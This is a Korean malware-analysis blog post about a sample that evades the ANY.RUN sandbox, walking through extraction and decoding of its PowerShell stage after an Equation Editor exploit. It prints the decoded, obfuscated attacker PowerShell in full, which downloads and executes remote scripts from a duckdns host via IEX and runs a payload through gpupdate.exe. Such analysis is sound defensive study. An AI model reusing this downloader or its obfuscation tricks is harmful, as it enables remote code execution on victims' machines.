악성코드 다운로드 링크: https://app.any.run/tasks/744bb393-ec07-468f-95da-4a4ac5d93dd7/
뉴스 링크: https://www.bleepingcomputer.com/news/security/malware-adds-anyrun-sandbox-detection-to-evade-analysis/
유투브 영상: https://youtu.be/qFV_fIwaEzQ
실행중인 환경이 anyrun샌드박스라면 실행되지 않은 악성코드가 뉴스에 보도되었습니다. 악성코드 예제 사이트에 방문하면 "Any.run Detected!"메세지가 출력되면서 악성코드가 실행되지 않습니다.
안타깝게도 공격자 서버가 사라져서 샌드박스 재실행을 해도 에러 메세지를 볼 수 없습니다. 악성코드는 공격자 서버로부터 스크립트를 다운받아 실행환경을 검사한 것으로 추측됩니다.
1. 악성코드 행위 요약
악성코드는 수식편집기 취약점을 이용하여 파워쉘 스크립트를 실행하였습니다. 파워쉘 스크립트는 공격자가 구축해놓은 2개 서버로부터 파일(스크립트로 추측)을 다운받아 실행합니다.
2. 파워쉘 스크립트 추출
공격자 서버가 지금 없으므로 아쉬운대로 1차 파워쉘 스크립트를 추출해보겠습니다. 수식편집기 취약점은 버퍼오버플로우로 공격자가 원하는 코드를 실행합니다. 이 예제에서는 vbs스크립트를 실행했습니다. anyrun 메인페이지 하단에 Files탭에서 vbs파일을 다운로드 할 수 있습니다.
이제 가상머신을 키고 vbs파일을 엽니다. 제일 마지막 줄을 아래와 같이 변경합니다. 기존 코드는 powershell스크립트를 실행을 했지만 코드를 변경하면 powershell스크립트를 result.txt에 저장합니다.
set fso = createobject("Scripting.FileSystemObject")
set obj = fso.CreateTextFile("result.txt")
obj.write(Join(days,"")+space(1)+StrReverse(f))
변경한 vbs스크립트를 실행합니다.
스크립트가 잘 실행되면 스크립트가 있는 위치에 result.txt파일이 생성됩니다.
3. 파워쉘 스크립트 디코딩
result.txt에 있는 파워쉘 스크립트는 인코딩되어 있어 무슨 내용인지 분석이 불가능합니다. 그러므로 디코딩을 하고 분석을 해야 합니다.
notepad++의 찾아 바꾸기(Ctrl+F) 기능으로 기존 변수명을 tmp로 변경합니다.
제일 마지막 | IEX를 삭제합니다. IEX는 파워쉘 스크립트를 실행하는 명령어 중 하나입니다. 저희가 원하는건 실행이 아니라 결과물을 추출하는 것입니다.
수정한 파워쉘 스크립트를 복사해서 powershell.exe실행기에 붙여넣습니다. 2가지 작업을 추가해야 합니다.
1) 제일 앞 powershell 제거
2) 제일 끝 > decoding.txt 추가
Enter를 눌러 파워쉘을 실행하면 decoding.txt 파일이 생깁니다. 이 파일에는 파워쉘 스크립트 실행 결과가 있습니다.
do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow####loadStri####g'.replace('####','n'),[Microsoft.VisualBasic.CallType]::Method,'http://our20203.duckdns.org/ourfold/109.mt')|I`E`X;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow####loadStri####g'.replace('####','n'),[Microsoft.VisualBasic.CallType]::Method,'http://our20203.duckdns.org/ourfold/ours394.tp7').replace('!@#$@','0x')|I`E`X;[HandleRun]::Asynchronous('gpupdate.exe',$f)
3. 파워쉘 스크립트 분석
총 3가지 행위를 수행합니다. 2개의 파일을 다운로드 받아 실행합니다. 그리고 2번째에 실행파일 결과를 바탕으로 그룹 정책 업데이트를 하는 것으로 추측됩니다.
'전공영역 공부 기록' 카테고리의 다른 글
칼리리눅스 2020.02버전 한글설치 (1) | 2020.07.17 |
---|---|
토렌트로 유포되는 악성코드 분석(영화 결백) (0) | 2020.07.17 |
[악성코드 분석 입문] 예제8 - 파일에 저장된 데이터를 훔치는 악성코드 분석(인포스틸러 분석) (0) | 2020.07.09 |
[악성코드 분석 입문] 예제6,7 - 파일삭제 이벤트 분석 (0) | 2020.07.08 |
[악성코드 분석 입문] 예제4 - njrat 파일 생성 이벤트 분석 (0) | 2020.06.24 |